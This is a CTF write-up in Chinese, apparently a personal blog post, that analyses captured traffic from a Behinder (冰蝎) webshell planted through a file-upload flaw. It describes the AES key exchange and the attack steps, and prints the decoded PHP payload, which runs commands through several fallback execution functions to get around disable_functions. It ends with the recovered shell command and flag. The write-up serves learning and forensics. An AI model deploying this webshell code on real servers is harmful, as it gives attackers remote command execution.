数字中国创新大赛网络安全子赛道(桃李组)—-冰碧蝎

shr1mp 发布于 1 天前 31 次阅读


冰蝎简述:

首次连接webshell时,客户端首先向服务器端发起一个GET请求

服务器端随机产生一个16位的密钥,把密钥回显给客户端,同时把密钥写进服务器侧的Session中

客户端获取密钥后,对二进制payload先进行AES加密(本地openssl模块),再通过POST方式发送至服务器端

服务器收到数据后,从Session中取出密钥,进行AES解密,解密之后得到二进制payload数据

服务器解析二进制payload文件,执行任意代码,并将执行结果加密返回

做题

利用文件上传漏洞进行冰蝎webshell植入

流5:

┌─────────────────────────────────────────────────────────────┐
│                     攻击流程                                 │
├─────────────────────────────────────────────────────────────┤
│ 1️  上传恶意文件                                              │
│     POST /index.php (包含 dcic.php)                         │
│                                                             │
│ 2️  服务器保存文件                                            │
│     保存到:/uploads/dcic.php 或 /images/dcic.php            │
│                                                             │
│ 3️  访问 WebShell                                            │
│     GET http://10.30.16.146/uploads/dcic.php                │
│                                                             │
│ 4️  发送加密命令                                              │
│     POST /uploads/dcic.php                                  │
│     Body: AES128_Encrypt("system|")│
│                                                             │
│ 5️  服务器执行命令                                            │
│     解密 → eval() 执行 → 返回结果                            │
│                                                             │
│ 6️  获取 Flag                                                 │
│     发送:AES128_Encrypt("system|")│
└─────────────────────────────────────────────────────────────┘

这道题的冰蝎(v2)特征:

  • AES-128加密且密钥固定16字节
  • XOR回退
  • Session密钥
  • 有命令分隔符“|”

此处直接用PZ进行解密

流14:(内层base64解码后;)

@error_reporting(0);

function getSafeStr($str){
    $s1 = iconv('utf-8','gbk//IGNORE',$str);
    $s0 = iconv('gbk','utf-8//IGNORE',$s1);
    if($s0 == $str){
        return $s0;
    }else{
        return iconv('gbk','utf-8//IGNORE',$str);
    }
}
function main($cmd,$path)
{
    @set_time_limit(0);
    @ignore_user_abort(1);
    @ini_set('max_execution_time', 0);
    $result = array();
    $PadtJn = @ini_get('disable_functions');
    if (! empty($PadtJn)) {
        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
        $PadtJn = explode(',', $PadtJn);
        $PadtJn = array_map('trim', $PadtJn);
    } else {
        $PadtJn = array();
    }
    $c = $cmd;
    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
        $c = $c . " 2>&1\n";
    }
    $JueQDBH = 'is_callable';
    $Bvce = 'in_array';
    if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
        ob_start();
        system($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
        $handle = proc_open($c, array(
            array(
                'pipe',
                'r'
            ),
            array(
                'pipe',
                'w'
            ),
            array(
                'pipe',
                'w'
            )
        ), $pipes);
        $kWJW = NULL;
        while (! feof($pipes[1])) {
            $kWJW .= fread($pipes[1], 1024);
        }
        @proc_close($handle);
    } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
        ob_start();
        passthru($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
        $kWJW = shell_exec($c);
    } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
        $kWJW = array();
        exec($c, $kWJW);
        $kWJW = join(chr(10), $kWJW) . chr(10);
    } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
        $fp = popen($c, 'r');
        $kWJW = NULL;
        if (is_resource($fp)) {
            while (! feof($fp)) {
                $kWJW .= fread($fp, 1024);
            }
        }
        @pclose($fp);
    } else {
        $kWJW = 0;
        $result["status"] = base64_encode("fail");
        $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
        $key = $_SESSION['k'];
        echo encrypt(json_encode($result));
        return;
        
    }
    $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode(getSafeStr($kWJW));
    echo encrypt(json_encode($result));
}


(不知道为啥,这个代码在此处老是要断开)
function Encrypt($data)
{
 @session_start();
    $key = $_SESSION['k'];
	if(!extension_loaded('openssl'))
    	{
    		for($i=0;$i

base64:

cd /var/www/html/upload/ ;echo 2i9Q8AtFEuzYHxwcUmpjFCQchUd1QqwQMf8mWfvUwm9LE8UaKVYDTaq5tG > ffffff111aG && ls

base58:

flag{dbeeed36-0d7e-211a-69db-66bd74ea91d5}
这个人很菜,但是在学
最后更新于 2026-04-18